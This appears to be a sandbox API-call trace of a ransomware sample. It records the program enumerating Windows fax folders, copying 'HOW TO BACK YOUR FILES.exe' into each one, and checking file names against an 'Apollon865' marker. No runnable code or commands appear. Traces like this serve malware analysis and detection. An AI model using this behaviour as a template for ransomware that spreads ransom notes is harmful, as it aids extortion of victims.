	[0039.190] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="WelcomeScan.jpg" | out: lpString1="WelcomeScan.jpg") returned="WelcomeScan.jpg"
	[0039.190] lstrlenW (lpString="WelcomeScan.jpg") returned 15
	[0039.191] lstrlenW (lpString="Apollon865") returned 10
	[0039.191] lstrcmpiW (lpString1="meScan.jpg", lpString2="Apollon865") returned 1
	[0039.191] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax"
	[0039.191] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5528 | out: hHeap=0x580000) returned 1
	[0039.191] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0039.191] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax") returned 45
	[0039.191] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax"
	[0039.191] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.191] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.197] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.197] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f78f770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f78f770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.197] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.197] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.198] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="ActivityLog" | out: lpString1="ActivityLog") returned="ActivityLog"
	[0039.198] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0039.198] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x591640
	[0039.198] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x59fd70
	[0039.198] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Common Coverpages", cAlternateFileName="COMMON~1")) returned 1
	[0039.198] lstrcmpiW (lpString1="Common Coverpages", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.198] lstrcmpiW (lpString1="Common Coverpages", lpString2="Apollon865.txt.exe") returned 1
	[0039.198] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="Common Coverpages" | out: lpString1="Common Coverpages") returned="Common Coverpages"
	[0039.198] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fda8
	[0039.198] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf898
	[0039.198] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdb0 | out: ListHead=0x5b76b0, ListEntry=0x59fdb0) returned 0x59fd90
	[0039.198] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f78f770, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f78f770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.198] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.198] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Inbox", cAlternateFileName="")) returned 1
	[0039.198] lstrcmpiW (lpString1="Inbox", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.198] lstrcmpiW (lpString1="Inbox", lpString2="Apollon865.txt.exe") returned 1
	[0039.198] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="Inbox" | out: lpString1="Inbox") returned="Inbox"
	[0039.198] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0039.198] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x599bd8
	[0039.198] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdd0 | out: ListHead=0x5b76b0, ListEntry=0x59fdd0) returned 0x59fdb0
	[0039.198] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Queue", cAlternateFileName="")) returned 1
	[0039.198] lstrcmpiW (lpString1="Queue", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.198] lstrcmpiW (lpString1="Queue", lpString2="Apollon865.txt.exe") returned 1
	[0039.198] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="Queue" | out: lpString1="Queue") returned="Queue"
	[0039.198] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fde8
	[0039.198] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x599c48
	[0039.198] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdf0 | out: ListHead=0x5b76b0, ListEntry=0x59fdf0) returned 0x59fdd0
	[0039.198] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SentItems", cAlternateFileName="SENTIT~1")) returned 1
	[0039.198] lstrcmpiW (lpString1="SentItems", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.198] lstrcmpiW (lpString1="SentItems", lpString2="Apollon865.txt.exe") returned 1
	[0039.198] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="SentItems" | out: lpString1="SentItems") returned="SentItems"
	[0039.199] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe08
	[0039.199] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59a920
	[0039.199] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe10 | out: ListHead=0x5b76b0, ListEntry=0x59fe10) returned 0x59fdf0
	[0039.199] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualInbox", cAlternateFileName="VIRTUA~1")) returned 1
	[0039.199] lstrcmpiW (lpString1="VirtualInbox", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.199] lstrcmpiW (lpString1="VirtualInbox", lpString2="Apollon865.txt.exe") returned 1
	[0039.199] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="VirtualInbox" | out: lpString1="VirtualInbox") returned="VirtualInbox"
	[0039.199] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe28
	[0039.199] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x76) returned 0x5916c0
	[0039.199] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe30 | out: ListHead=0x5b76b0, ListEntry=0x59fe30) returned 0x59fe10
	[0039.199] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualInbox", cAlternateFileName="VIRTUA~1")) returned 0
	[0039.199] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.199] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fe30
	[0039.199] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox"
	[0039.199] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0039.199] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe28 | out: hHeap=0x580000) returned 1
	[0039.199] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox") returned 58
	[0039.199] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox"
	[0039.199] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.199] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\virtualinbox\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.206] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.206] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2f78f770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f78f770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.206] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.206] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.206] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0039.206] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe28
	[0039.207] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b9168
	[0039.207] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe30 | out: ListHead=0x5b76b0, ListEntry=0x59fe30) returned 0x59fe10
	[0039.207] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f78f770, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f78f770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.207] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.207] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f78f770, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f78f770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0039.207] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.207] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fe30
	[0039.207] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US"
	[0039.207] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9168 | out: hHeap=0x580000) returned 1
	[0039.207] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe28 | out: hHeap=0x580000) returned 1
	[0039.207] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US") returned 64
	[0039.207] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US"
	[0039.207] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.207] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\virtualinbox\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.211] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.211] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2f7b58d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7b58d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.211] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.211] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.211] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="WelcomeFax.tif" | out: lpString1="WelcomeFax.tif") returned="WelcomeFax.tif"
	[0039.211] lstrlenW (lpString="WelcomeFax.tif") returned 14
	[0039.211] lstrlenW (lpString="Apollon865") returned 10
	[0039.211] lstrcmpiW (lpString1="omeFax.tif", lpString2="Apollon865") returned 1
	[0039.212] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems"
	[0039.212] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0039.212] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe08 | out: hHeap=0x580000) returned 1
	[0039.212] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems") returned 55
	[0039.212] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems"
	[0039.212] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.212] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\sentitems\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.219] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.219] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7b58d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7b58d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.219] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.219] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.219] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue"
	[0039.219] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599c48 | out: hHeap=0x580000) returned 1
	[0039.219] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fde8 | out: hHeap=0x580000) returned 1
	[0039.219] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue") returned 51
	[0039.219] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue"
	[0039.219] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.219] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\queue\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.223] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.223] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7dba30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7dba30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.224] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.224] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.224] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox"
	[0039.224] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0039.224] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0039.224] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox") returned 51
	[0039.224] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox"
	[0039.224] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.224] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\inbox\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.228] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.228] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7dba30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7dba30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.228] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.229] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.229] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages"
	[0039.229] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0039.229] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fda8 | out: hHeap=0x580000) returned 1
	[0039.229] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages") returned 63
	[0039.229] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages"
	[0039.229] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.229] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\how to back your files.exe"), bFailIfExists=1) returned 1
